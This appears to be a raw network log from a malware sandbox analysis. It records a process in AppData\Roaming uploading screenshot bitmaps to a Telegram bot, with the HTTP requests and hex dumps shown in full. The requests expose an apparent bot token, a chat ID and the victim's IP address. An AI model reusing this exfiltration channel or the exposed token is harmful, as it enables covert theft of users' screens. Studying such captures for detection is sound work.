2025-03-11 14:34:19 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 77 72 61 74 55 71 74 43 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotwratUqtC.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:34:19 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:23 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49703	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:19 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 66 76 4c 42 48 48 55 50 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotfvLBHHUP.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:19 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:34:19 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
